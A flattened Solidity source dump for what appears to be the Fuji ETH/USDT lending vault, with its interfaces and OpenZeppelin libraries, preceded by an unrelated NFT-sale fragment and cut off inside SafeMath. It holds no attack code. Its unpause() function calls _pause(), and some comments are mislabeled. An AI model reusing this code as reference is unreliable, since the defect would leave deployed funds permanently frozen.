To be updated once maxSupply equals totalSupply. This will deactivate minting. Can also be activated by contract owner to begin public sale/
|
function setSecondSaleState(bool _secondSaleActiveState) public onlyOwner {
require(isSecondSaleActive != _secondSaleActiveState, "NEW_STATE_IDENTICAL_TO_OLD_STATE");
isSecondSaleActive = _secondSaleActiveState;
if (!isSecondSaleActive) {
saleEndTime = block.timestamp;
}
}
| 6,874,042 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.8.0;
pragma experimental ABIEncoderV2;
import { IVault } from "./IVault.sol";
import { VaultBase } from "./VaultBase.sol";
import { IFujiAdmin } from "../IFujiAdmin.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {
AggregatorV3Interface
} from "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IFujiERC1155 } from "../FujiERC1155/IFujiERC1155.sol";
import { IProvider } from "../Providers/IProvider.sol";
import { IAlphaWhiteList } from "../IAlphaWhiteList.sol";
import { Errors } from "../Libraries/Errors.sol";
interface IVaultHarvester {
function collectRewards(uint256 _farmProtocolNum) external returns (address claimedToken);
}
contract VaultETHUSDT is IVault, VaultBase, ReentrancyGuard {
uint256 internal constant _BASE = 1e18;
struct Factor {
uint64 a;
uint64 b;
}
// Safety factor
Factor public safetyF;
// Collateralization factor
Factor public collatF;
//State variables
address[] public providers;
address public override activeProvider;
IFujiAdmin private _fujiAdmin;
address public override fujiERC1155;
AggregatorV3Interface public oracle;
modifier isAuthorized() {
require(
msg.sender == _fujiAdmin.getController() || msg.sender == owner(),
Errors.VL_NOT_AUTHORIZED
);
_;
}
modifier onlyFlash() {
require(msg.sender == _fujiAdmin.getFlasher(), Errors.VL_NOT_AUTHORIZED);
_;
}
constructor() public {
vAssets.collateralAsset = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); // ETH
vAssets.borrowAsset = address(0xdAC17F958D2ee523a2206206994597C13D831ec7); // USDT
// 1.05
safetyF.a = 21;
safetyF.b = 20;
// 1.269
collatF.a = 80;
collatF.b = 63;
}
receive() external payable {}
//Core functions
/**
* @dev Deposits collateral and borrows underlying in a single function call from activeProvider
* @param _collateralAmount: amount to be deposited
* @param _borrowAmount: amount to be borrowed
*/
function depositAndBorrow(uint256 _collateralAmount, uint256 _borrowAmount) external payable {
deposit(_collateralAmount);
borrow(_borrowAmount);
}
/**
* @dev Paybacks the underlying asset and withdraws collateral in a single function call from activeProvider
* @param _paybackAmount: amount of underlying asset to be payback, pass -1 to pay full amount
* @param _collateralAmount: amount of collateral to be withdrawn, pass -1 to withdraw maximum amount
*/
function paybackAndWithdraw(int256 _paybackAmount, int256 _collateralAmount) external payable {
payback(_paybackAmount);
withdraw(_collateralAmount);
}
/**
* @dev Deposit Vault's type collateral to activeProvider
* call Controller checkrates
* @param _collateralAmount: to be deposited
* Emits a {Deposit} event.
*/
function deposit(uint256 _collateralAmount) public payable override {
require(msg.value == _collateralAmount && _collateralAmount != 0, Errors.VL_AMOUNT_ERROR);
// Alpha Whitelist Routine
require(
IAlphaWhiteList(_fujiAdmin.getaWhiteList()).whiteListRoutine(
msg.sender,
vAssets.collateralID,
_collateralAmount,
fujiERC1155
),
Errors.SP_ALPHA_WHITELIST
);
// Delegate Call Deposit to current provider
_deposit(_collateralAmount, address(activeProvider));
// Collateral Management
IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.collateralID, _collateralAmount, "");
emit Deposit(msg.sender, vAssets.collateralAsset, _collateralAmount);
}
/**
* @dev Withdraws Vault's type collateral from activeProvider
* call Controller checkrates
* @param _withdrawAmount: amount of collateral to withdraw
* otherwise pass -1 to withdraw maximum amount possible of collateral (including safety factors)
* Emits a {Withdraw} event.
*/
function withdraw(int256 _withdrawAmount) public override nonReentrant {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
// Get User Collateral in this Vault
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Check User has collateral
require(providedCollateral > 0, Errors.VL_INVALID_COLLATERAL);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID),
true
);
uint256 amountToWithdraw =
_withdrawAmount < 0 ? providedCollateral.sub(neededCollateral) : uint256(_withdrawAmount);
// Check Withdrawal amount, and that it will not fall undercollaterized.
require(
amountToWithdraw != 0 && providedCollateral.sub(amountToWithdraw) >= neededCollateral,
Errors.VL_INVALID_WITHDRAW_AMOUNT
);
// Collateral Management before Withdraw Operation
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.collateralID, amountToWithdraw);
// Delegate Call Withdraw to current provider
_withdraw(amountToWithdraw, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, amountToWithdraw);
emit Withdraw(msg.sender, vAssets.collateralAsset, amountToWithdraw);
} else {
// Logic used when called by Fliquidator
_withdraw(uint256(_withdrawAmount), address(activeProvider));
IERC20(vAssets.collateralAsset).uniTransfer(msg.sender, uint256(_withdrawAmount));
}
}
/**
* @dev Borrows Vault's type underlying amount from activeProvider
* @param _borrowAmount: token amount of underlying to borrow
* Emits a {Borrow} event.
*/
function borrow(uint256 _borrowAmount) public override nonReentrant {
updateF1155Balances();
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
_borrowAmount.add(IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID)),
true
);
// Check Provided Collateral is not Zero, and greater than needed to maintain healthy position
require(
_borrowAmount != 0 && providedCollateral > neededCollateral,
Errors.VL_INVALID_BORROW_AMOUNT
);
// Debt Management
IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.borrowID, _borrowAmount, "");
// Delegate Call Borrow to current provider
_borrow(_borrowAmount, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _borrowAmount);
emit Borrow(msg.sender, vAssets.borrowAsset, _borrowAmount);
}
/**
* @dev Paybacks Vault's type underlying to activeProvider
* @param _repayAmount: token amount of underlying to repay, or pass -1 to repay full ammount
* Emits a {Repay} event.
*/
function payback(int256 _repayAmount) public payable override {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
uint256 userDebtBalance = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID);
// Check User Debt is greater than Zero and amount is not Zero
require(_repayAmount != 0 && userDebtBalance > 0, Errors.VL_NO_DEBT_TO_PAYBACK);
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// If passed argument amount is negative do MAX
uint256 amountToPayback = _repayAmount < 0 ? userDebtBalance : uint256(_repayAmount);
// Check User Allowance
require(
IERC20(vAssets.borrowAsset).allowance(msg.sender, address(this)) >= amountToPayback,
Errors.VL_MISSING_ERC20_ALLOWANCE
);
// Transfer Asset from User to Vault
IERC20(vAssets.borrowAsset).transferFrom(msg.sender, address(this), amountToPayback);
// Delegate Call Payback to current provider
_payback(amountToPayback, address(activeProvider));
//TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Debt Management
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.borrowID, amountToPayback);
emit Payback(msg.sender, vAssets.borrowAsset, userDebtBalance);
} else {
// Logic used when called by Fliquidator
_payback(uint256(_repayAmount), address(activeProvider));
}
}
/**
* @dev Changes Vault debt and collateral to newProvider, called by Flasher
* @param _newProvider new provider's address
* @param _flashLoanAmount amount of flashloan underlying to repay Flashloan
* Emits a {Switch} event.
*/
function executeSwitch(
address _newProvider,
uint256 _flashLoanAmount,
uint256 fee
) external override onlyFlash whenNotPaused {
// Compute Ratio of transfer before payback
uint256 ratio =
_flashLoanAmount.mul(1e18).div(
IProvider(activeProvider).getBorrowBalance(vAssets.borrowAsset)
);
// Payback current provider
_payback(_flashLoanAmount, activeProvider);
// Withdraw collateral proportional ratio from current provider
uint256 collateraltoMove =
IProvider(activeProvider).getDepositBalance(vAssets.collateralAsset).mul(ratio).div(1e18);
_withdraw(collateraltoMove, activeProvider);
// Deposit to the new provider
_deposit(collateraltoMove, _newProvider);
// Borrow from the new provider, borrowBalance + premium
_borrow(_flashLoanAmount.add(fee), _newProvider);
// return borrowed amount to Flasher
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _flashLoanAmount.add(fee));
emit Switch(address(this), activeProvider, _newProvider, _flashLoanAmount, collateraltoMove);
}
//Setter, change state functions
/**
* @dev Sets the fujiAdmin Address
* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) public onlyOwner {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Sets a new active provider for the Vault
* @param _provider: fuji address of the new provider
* Emits a {SetActiveProvider} event.
*/
function setActiveProvider(address _provider) external override isAuthorized {
activeProvider = _provider;
emit SetActiveProvider(_provider);
}
//Administrative functions
/**
* @dev Sets a fujiERC1155 Collateral and Debt Asset manager for this vault and initializes it.
* @param _fujiERC1155: fuji ERC1155 address
*/
function setFujiERC1155(address _fujiERC1155) external isAuthorized {
fujiERC1155 = _fujiERC1155;
vAssets.collateralID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.collateralToken,
address(this)
);
vAssets.borrowID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.debtToken,
address(this)
);
}
/**
* @dev Set Factors "a" and "b" for a Struct Factor
* For safetyF; Sets Safety Factor of Vault, should be > 1, a/b
* For collatF; Sets Collateral Factor of Vault, should be > 1, a/b
* @param _newFactorA: Nominator
* @param _newFactorB: Denominator
* @param _isSafety: safetyF or collatF
*/
function setFactor(
uint64 _newFactorA,
uint64 _newFactorB,
bool _isSafety
) external isAuthorized {
if (_isSafety) {
safetyF.a = _newFactorA;
safetyF.b = _newFactorB;
} else {
collatF.a = _newFactorA;
collatF.b = _newFactorB;
}
}
/**
* @dev Sets the Oracle address (Must Comply with AggregatorV3Interface)
* @param _oracle: new Oracle address
*/
function setOracle(address _oracle) external isAuthorized {
oracle = AggregatorV3Interface(_oracle);
}
/**
* @dev Set providers to the Vault
* @param _providers: new providers' addresses
*/
function setProviders(address[] calldata _providers) external isAuthorized {
providers = _providers;
}
/**
* @dev External Function to call updateState in F1155
*/
function updateF1155Balances() public override {
uint256 borrowBals;
uint256 depositBals;
// take into account all balances across providers
uint256 length = providers.length;
for (uint256 i = 0; i < length; i++) {
borrowBals = borrowBals.add(IProvider(providers[i]).getBorrowBalance(vAssets.borrowAsset));
}
for (uint256 i = 0; i < length; i++) {
depositBals = depositBals.add(
IProvider(providers[i]).getDepositBalance(vAssets.collateralAsset)
);
}
IFujiERC1155(fujiERC1155).updateState(vAssets.borrowID, borrowBals);
IFujiERC1155(fujiERC1155).updateState(vAssets.collateralID, depositBals);
}
//Getter Functions
/**
* @dev Returns an array of the Vault's providers
*/
function getProviders() external view override returns (address[] memory) {
return providers;
}
/**
* @dev Returns an amount to be paid as bonus for liquidation
* @param _amount: Vault underlying type intended to be liquidated
* @param _flash: Flash or classic type of liquidation, bonus differs
*/
function getLiquidationBonusFor(uint256 _amount, bool _flash)
external
view
override
returns (uint256)
{
if (_flash) {
// Bonus Factors for Flash Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusFlashL();
return _amount.mul(a).div(b);
} else {
//Bonus Factors for Normal Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusLiq();
return _amount.mul(a).div(b);
}
}
/**
* @dev Returns the amount of collateral needed, including or not safety factors
* @param _amount: Vault underlying type intended to be borrowed
* @param _withFactors: Inidicate if computation should include safety_Factors
*/
function getNeededCollateralFor(uint256 _amount, bool _withFactors)
public
view
override
returns (uint256)
{
// Get price of DAI in ETH
(, int256 latestPrice, , , ) = oracle.latestRoundData();
uint256 minimumReq = (_amount.mul(1e12).mul(uint256(latestPrice))).div(_BASE);
if (_withFactors) {
return minimumReq.mul(collatF.a).mul(safetyF.a).div(collatF.b).div(safetyF.b);
} else {
return minimumReq;
}
}
/**
* @dev Returns the borrow balance of the Vault's underlying at a particular provider
* @param _provider: address of a provider
*/
function borrowBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getBorrowBalance(vAssets.borrowAsset);
}
/**
* @dev Returns the deposit balance of the Vault's type collateral at a particular provider
* @param _provider: address of a provider
*/
function depositBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getDepositBalance(vAssets.collateralAsset);
}
/**
* @dev Harvests the Rewards from baseLayer Protocols
* @param _farmProtocolNum: number per VaultHarvester Contract for specific farm
*/
function harvestRewards(uint256 _farmProtocolNum) public onlyOwner {
address tokenReturned =
IVaultHarvester(_fujiAdmin.getVaultHarvester()).collectRewards(_farmProtocolNum);
uint256 tokenBal = IERC20(tokenReturned).balanceOf(address(this));
require(tokenReturned != address(0) && tokenBal > 0, Errors.VL_HARVESTING_FAILED);
IERC20(tokenReturned).uniTransfer(payable(_fujiAdmin.getTreasury()), tokenBal);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
interface IVault {
// Events
// Log Users Deposit
event Deposit(address indexed userAddrs, address indexed asset, uint256 amount);
// Log Users withdraw
event Withdraw(address indexed userAddrs, address indexed asset, uint256 amount);
// Log Users borrow
event Borrow(address indexed userAddrs, address indexed asset, uint256 amount);
// Log Users debt repay
event Payback(address indexed userAddrs, address indexed asset, uint256 amount);
// Log New active provider
event SetActiveProvider(address providerAddr);
// Log Switch providers
event Switch(
address vault,
address fromProviderAddrs,
address toProviderAddr,
uint256 debtamount,
uint256 collattamount
);
// Core Vault Functions
function deposit(uint256 _collateralAmount) external payable;
function withdraw(int256 _withdrawAmount) external;
function borrow(uint256 _borrowAmount) external;
function payback(int256 _repayAmount) external payable;
function executeSwitch(
address _newProvider,
uint256 _flashLoanDebt,
uint256 _fee
) external;
//Getter Functions
function activeProvider() external view returns (address);
function borrowBalance(address _provider) external view returns (uint256);
function depositBalance(address _provider) external view returns (uint256);
function getNeededCollateralFor(uint256 _amount, bool _withFactors)
external
view
returns (uint256);
function getLiquidationBonusFor(uint256 _amount, bool _flash) external view returns (uint256);
function getProviders() external view returns (address[] memory);
function fujiERC1155() external view returns (address);
//Setter Functions
function setActiveProvider(address _provider) external;
function updateF1155Balances() external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { Pausable } from "@openzeppelin/contracts/utils/Pausable.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
contract VaultControl is Ownable, Pausable {
using SafeMath for uint256;
using UniERC20 for IERC20;
//Asset Struct
struct VaultAssets {
address collateralAsset;
address borrowAsset;
uint64 collateralID;
uint64 borrowID;
}
//Vault Struct for Managed Assets
VaultAssets public vAssets;
//Pause Functions
/**
* @dev Emergency Call to stop all basic money flow functions.
*/
function pause() public onlyOwner {
_pause();
}
/**
* @dev Emergency Call to stop all basic money flow functions.
*/
function unpause() public onlyOwner {
_pause();
}
}
contract VaultBase is VaultControl {
// Internal functions
/**
* @dev Executes deposit operation with delegatecall.
* @param _amount: amount to be deposited
* @param _provider: address of provider to be used
*/
function _deposit(uint256 _amount, address _provider) internal {
bytes memory data =
abi.encodeWithSignature("deposit(address,uint256)", vAssets.collateralAsset, _amount);
_execute(_provider, data);
}
/**
* @dev Executes withdraw operation with delegatecall.
* @param _amount: amount to be withdrawn
* @param _provider: address of provider to be used
*/
function _withdraw(uint256 _amount, address _provider) internal {
bytes memory data =
abi.encodeWithSignature("withdraw(address,uint256)", vAssets.collateralAsset, _amount);
_execute(_provider, data);
}
/**
* @dev Executes borrow operation with delegatecall.
* @param _amount: amount to be borrowed
* @param _provider: address of provider to be used
*/
function _borrow(uint256 _amount, address _provider) internal {
bytes memory data =
abi.encodeWithSignature("borrow(address,uint256)", vAssets.borrowAsset, _amount);
_execute(_provider, data);
}
/**
* @dev Executes payback operation with delegatecall.
* @param _amount: amount to be paid back
* @param _provider: address of provider to be used
*/
function _payback(uint256 _amount, address _provider) internal {
bytes memory data =
abi.encodeWithSignature("payback(address,uint256)", vAssets.borrowAsset, _amount);
_execute(_provider, data);
}
/**
* @dev Returns byte response of delegatcalls
*/
function _execute(address _target, bytes memory _data)
internal
whenNotPaused
returns (bytes memory response)
{
/* solhint-disable */
assembly {
let succeeded := delegatecall(sub(gas(), 5000), _target, add(_data, 0x20), mload(_data), 0, 0)
let size := returndatasize()
response := mload(0x40)
mstore(0x40, add(response, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(response, size)
returndatacopy(add(response, 0x20), 0, size)
switch iszero(succeeded)
case 1 {
// throw if delegatecall failed
revert(add(response, 0x20), size)
}
}
/* solhint-disable */
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12 <0.8.0;
interface IFujiAdmin {
function validVault(address _vaultAddr) external view returns (bool);
function getFlasher() external view returns (address);
function getFliquidator() external view returns (address);
function getController() external view returns (address);
function getTreasury() external view returns (address payable);
function getaWhiteList() external view returns (address);
function getVaultHarvester() external view returns (address);
function getBonusFlashL() external view returns (uint64, uint64);
function getBonusLiq() external view returns (uint64, uint64);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0;
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
interface IFujiERC1155 {
//Asset Types
enum AssetType {
//uint8 = 0
collateralToken,
//uint8 = 1
debtToken
}
//General Getter Functions
function getAssetID(AssetType _type, address _assetAddr) external view returns (uint256);
function qtyOfManagedAssets() external view returns (uint64);
function balanceOf(address _account, uint256 _id) external view returns (uint256);
//function splitBalanceOf(address account,uint256 _AssetID) external view returns (uint256,uint256);
//function balanceOfBatchType(address account, AssetType _Type) external view returns (uint256);
//Permit Controlled Functions
function mint(
address _account,
uint256 _id,
uint256 _amount,
bytes memory _data
) external;
function burn(
address _account,
uint256 _id,
uint256 _amount
) external;
function updateState(uint256 _assetID, uint256 _newBalance) external;
function addInitializeAsset(AssetType _type, address _addr) external returns (uint64);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.0;
interface IProvider {
//Basic Core Functions
function deposit(address _collateralAsset, uint256 _collateralAmount) external payable;
function borrow(address _borrowAsset, uint256 _borrowAmount) external payable;
function withdraw(address _collateralAsset, uint256 _collateralAmount) external payable;
function payback(address _borrowAsset, uint256 _borrowAmount) external payable;
// returns the borrow annualized rate for an asset in ray (1e27)
//Example 8.5% annual interest = 0.085 x 10^27 = 85000000000000000000000000 or 85*(10**24)
function getBorrowRateFor(address _asset) external view returns (uint256);
function getBorrowBalance(address _asset) external view returns (uint256);
function getDepositBalance(address _asset) external view returns (uint256);
function getBorrowBalanceOf(address _asset, address _who) external returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12 <0.8.0;
interface IAlphaWhiteList {
function whiteListRoutine(
address _usrAddrs,
uint64 _assetId,
uint256 _amount,
address _erc1155
) external returns (bool);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity <0.8.0;
/**
* @title Errors library
* @author Fuji
* @notice Defines the error messages emitted by the different contracts of the Aave protocol
* @dev Error messages prefix glossary:
* - VL = Validation Logic 100 series
* - MATH = Math libraries 200 series
* - RF = Refinancing 300 series
* - VLT = vault 400 series
* - SP = Special 900 series
*/
library Errors {
//Errors
string public constant VL_INDEX_OVERFLOW = "100"; // index overflows uint128
string public constant VL_INVALID_MINT_AMOUNT = "101"; //invalid amount to mint
string public constant VL_INVALID_BURN_AMOUNT = "102"; //invalid amount to burn
string public constant VL_AMOUNT_ERROR = "103"; //Input value >0, and for ETH msg.value and amount shall match
string public constant VL_INVALID_WITHDRAW_AMOUNT = "104"; //Withdraw amount exceeds provided collateral, or falls undercollaterized
string public constant VL_INVALID_BORROW_AMOUNT = "105"; //Borrow amount does not meet collaterization
string public constant VL_NO_DEBT_TO_PAYBACK = "106"; //Msg sender has no debt amount to be payback
string public constant VL_MISSING_ERC20_ALLOWANCE = "107"; //Msg sender has not approved ERC20 full amount to transfer
string public constant VL_USER_NOT_LIQUIDATABLE = "108"; //User debt position is not liquidatable
string public constant VL_DEBT_LESS_THAN_AMOUNT = "109"; //User debt is less than amount to partial close
string public constant VL_PROVIDER_ALREADY_ADDED = "110"; // Provider is already added in Provider Array
string public constant VL_NOT_AUTHORIZED = "111"; //Not authorized
string public constant VL_INVALID_COLLATERAL = "112"; //There is no Collateral, or Collateral is not in active in vault
string public constant VL_NO_ERC20_BALANCE = "113"; //User does not have ERC20 balance
string public constant VL_INPUT_ERROR = "114"; //Check inputs. For ERC1155 batch functions, array sizes should match.
string public constant VL_ASSET_EXISTS = "115"; //Asset intended to be added already exists in FujiERC1155
string public constant VL_ZERO_ADDR_1155 = "116"; //ERC1155: balance/transfer for zero address
string public constant VL_NOT_A_CONTRACT = "117"; //Address is not a contract.
string public constant VL_INVALID_ASSETID_1155 = "118"; //ERC1155 Asset ID is invalid.
string public constant VL_NO_ERC1155_BALANCE = "119"; //ERC1155: insufficient balance for transfer.
string public constant VL_MISSING_ERC1155_APPROVAL = "120"; //ERC1155: transfer caller is not owner nor approved.
string public constant VL_RECEIVER_REJECT_1155 = "121"; //ERC1155Receiver rejected tokens
string public constant VL_RECEIVER_CONTRACT_NON_1155 = "122"; //ERC1155: transfer to non ERC1155Receiver implementer
string public constant VL_OPTIMIZER_FEE_SMALL = "123"; //Fuji OptimizerFee has to be > 1 RAY (1e27)
string public constant VL_UNDERCOLLATERIZED_ERROR = "124"; // Flashloan-Flashclose cannot be used when User's collateral is worth less than intended debt position to close.
string public constant VL_MINIMUM_PAYBACK_ERROR = "125"; // Minimum Amount payback should be at least Fuji Optimizerfee accrued interest.
string public constant VL_HARVESTING_FAILED = "126"; // Harvesting Function failed, check provided _farmProtocolNum or no claimable balance.
string public constant VL_FLASHLOAN_FAILED = "127"; // Flashloan failed
string public constant MATH_DIVISION_BY_ZERO = "201";
string public constant MATH_ADDITION_OVERFLOW = "202";
string public constant MATH_MULTIPLICATION_OVERFLOW = "203";
string public constant RF_NO_GREENLIGHT = "300"; // Conditions for refinancing are not met, greenLight, deltaAPRThreshold, deltatimestampThreshold
string public constant RF_INVALID_RATIO_VALUES = "301"; // Ratio Value provided is invalid, _ratioA/_ratioB <= 1, and > 0, or activeProvider borrowBalance = 0
string public constant RF_CHECK_RATES_FALSE = "302"; //Check Rates routine returned False
string public constant VLT_CALLER_MUST_BE_VAULT = "401"; // The caller of this function must be a vault
string public constant SP_ALPHA_WHITELIST = "901"; // One ETH cap value for Alpha Version < 1 ETH
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
